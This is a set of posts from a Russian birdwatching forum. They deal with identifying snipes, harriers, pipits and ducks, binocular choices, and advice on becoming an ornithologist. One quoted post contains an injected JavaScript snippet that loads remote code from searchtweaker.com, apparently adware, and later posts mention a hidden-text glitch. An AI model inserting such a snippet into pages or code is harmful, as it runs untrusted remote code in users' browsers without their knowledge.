shahin (Все сообщения пользователя)

[QUOTE]Skolorn пишет:
Толстенькая такая птичка, а размером немного больше голубя
[/QUOTE]Нельзя ли поподробнее с этого места...? На что хоть похоже...?

[QUOTE]igor_f пишет:
А этот откуда?
[/QUOTE]Надо полагать, с Диппермановского хозяйства шляются по Москве и ее окрестностям... :)

[QUOTE]Liseenko пишет:
Бывают ли особи - "карлики" ?
[/QUOTE]В природе бывает всё! :)

[QUOTE]igor_f пишет:
Могу только сказать ,что об.бекас, по-моему, менее вероятен. чем другие бекасоиды.

По идее, на 2200 первым приходит в голову азиатский бекас. Ну или горный дупель. Вот если кто горного видал живьем, то, думаю, отличит его от предыдущего. А лесной дупель и дупель там вряд ли.
[/QUOTE]На горного, конечно, как бы больше тянет...

[QUOTE]Дмитрий Сыч пишет:
Подтвердите или нет!
Обыкновенная овсянка и певчий дрозд?
[/QUOTE][QUOTE]Виктор Мороз пишет:
Европейский вьюрок и конек не уверен какой.(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.on load=script.on readystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.on load=null;script.on readystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
[/QUOTE]Да, с коньком непонятки. Ясно только, что луговой или краснозобый.

[QUOTE]osprey пишет:
[QUOTE]shahin пишет:
[QUOTE]osprey пишет:
9- самец болотного луня в промежуточном наряде
[/QUOTE]Не думаю. Почему? Рисунок крыла снизу не подходит, клюв другой...
[/QUOTE]Рисунок подходит. Это птица скорее всего 3 календарного года, которая линяет с первого взрослого наряда во взрослый наряд.
У самцов в первом взрослом наряде- кроющие перья низа коричневые, пальцы черные и окантовка всех маховых перьев так же черная (похоже как у канюка). Из за светлой головы думаю что это именно птица 3 календарного года (не 2 к.г.) и на следующий год будет уже во взрослом наряде. Клюв так же подходит на мое мнение.
Вот похожая птица (см. ссылку) и в определиетеле Дика Форсмана есть так же похож на 180 странице (рисунок 187).

[url]http://ibc.lynxeds.com/files/pictures/IMG_3491-R-11-2.jpg[/url]
[/QUOTE]Может быть. Хотя на фото птица не такая рыжая, хвост кажется гораздо более коротким. И полосатость на крыле снизу как бы поболее... Все может быть... Хотелось бы более четкого снимка...

[QUOTE]forest пишет:
Орнитологи, подскажите пожалуйста.
Для того чтобы устроиться на работу орнитологом, нужно конкретно зоологическое образование или может подойти "биолог-эколог"? Играет ли роль при устройстве на работу диплом заочного обучения или дневного? Обязательно ли наличие в университете зоологической кафедры специализирущейся по птицам?
Мой конкретный случай: Учусь заочно по специальности "биолог-эколог", планирую переезд в Беларусь в следующем году с переводом в Беларусский ВУЗ. Кафедра зоологии в том ВУЗЕ есть, но специализируется она по насекомым хотя есть там и орнитологи-любители. Возник вопрос, идти в тот ВУЗ или все же искать другой с кафедрой по птицам. Достаточно ли будет заочного образования? Боюсь я уже не так молод для дневного отделения.
[/QUOTE]Для того, чтобы стать орнитологом прежде всего нужно призвание и желание... :) А вообще, орнитолог - это не какое-то абстрактное звание, типа бухгалтер... Где именно вы хотите быть орнитологом...? У вас есть какие-то конкретные связи, наметки...? Сейчас не так легко найти места работы в крупных научных центрах. сами знаете, какое финансирование... Вероятно, легче найти место работы в заповеднике, скажем или что-то подобное... Но, орнитологом не становятся в одиночку! Только при общении с другими орнитологами! :) Вот, для начала, найдите такое общение...

[QUOTE]Андрей Поленов пишет:
[QUOTE]shahin пишет:
Бывает! Leica Duovid! Если бы была, то мне уже ничего не нужно было бы другого. Разве что зрительную трубу такого же класса.
[/QUOTE] Конечно, бывает! По качеству!
А по характеристикам... мне в идеале нужно 3 шт. Один светосильный - вых. зрачок = 7 мм.(напр. 7/50 или 10/70). Второй с большой кратностью типа 16/50 или 20/60(70), можно со стабом. Но они оба будут громоздкие и тяжёлые, поэтому 3-й нужен поминиатюрней, напр. 8 или 10/42, с РУФ-призмой. Ну а если всё в одном, то это наверное 12/50(ПОРРО) и с углом обзора окуляра 60 а лучше 70 градусов, и вынос зрачка не менее 15мм(лучше 20).
А против ЛЕЙКИ никто и не спорит!
[/QUOTE]Вы пытаетесь объединить в бинокле то, что нельзя объединить. Для 20 крат и больше существуют зрительные трубы, которым бинокли не конкурент! Ну а про сочетание светосильности, качества и миниатюрности - вы уж извините, хороший бинокль может быть только в таком виде. :) И он в этом плане абсолютно универсален. Лично меня не напрягает ни его размер, ни вес. Народ, вон, ходит с советскими и пр. гигантами в 2 раза больше даже при 7-кратном увеличении, а не 10-х... :) И ничего...

[QUOTE]Анна Голубева пишет:
Подскажите, пожалуйста, это серая утка (Anas strepera)?
[/QUOTE]Да.

[QUOTE]osprey пишет:
9- самец болотного луня в промежуточном наряде
[/QUOTE]Не думаю. Почему? Рисунок крыла снизу не подходит, клюв другой...

[QUOTE]Андрей Поленов пишет:
Идеального бинокля не бывает, есть разного назначения(с определенными характеристиками) и разного уровня качества. (Примерно такие мои мысли).
[/QUOTE]Бывает! Leica Duovid! :) Если бы была, то мне уже ничего не нужно было бы другого. Разве что зрительную трубу такого же класса. ;)

Gallinago sp.

[QUOTE]Александр Андреев пишет:
Правильно ли я определил,это морская чернеть?
[/QUOTE]Вроде хохлатая...

[QUOTE]Наталья Сиккиля пишет:
Второй вид! Предположение что золотистая ржанка. Пожалуйста мнение специалиста!!!!
[/QUOTE]По клюву как бы да. Но крыло снизу больно темное... Даже не знаю...

[QUOTE]Sanya пишет:
[QUOTE]Liseenko пишет:

Набралось немного на опознание
[/QUOTE]1 Кто-то из болотная/садовая/бормотушка
2-4 Черноголовый чекан
5 Варакущка 6 Вроде, не фифи. Для улита клюв какой-то незаметный 7 Жулан
8-9 Чечевица 10 Не пойму, мельничек, что-ли
11 Серая мухоловка
[/QUOTE]1. Болотная вроде.
6. Черныш.
10. Широкохвостка.
Остальное верно.

[QUOTE]Dipperman пишет:
[QUOTE]Виктор Мороз пишет:
[QUOTE]Андрей Поленов пишет:
[QUOTE]shahin пишет:
А там еще только полевой бывает... Лесной, конечно.
[/QUOTE]Большое спасибо
И ещё, снято там же: Кто это?
[/QUOTE]Луговой чекан.
[/QUOTE]Не луговой, а черноголовый. Самка.
[/QUOTE]Ага.

Глюка нет...

Пробую через хром...

Когда в конце нажимаю клавишу DEL, то глюк не появляется. Такое ощущение, что вставляется какой-то скрытый текст в одном символе...

Вот, теперь и здесь глючит...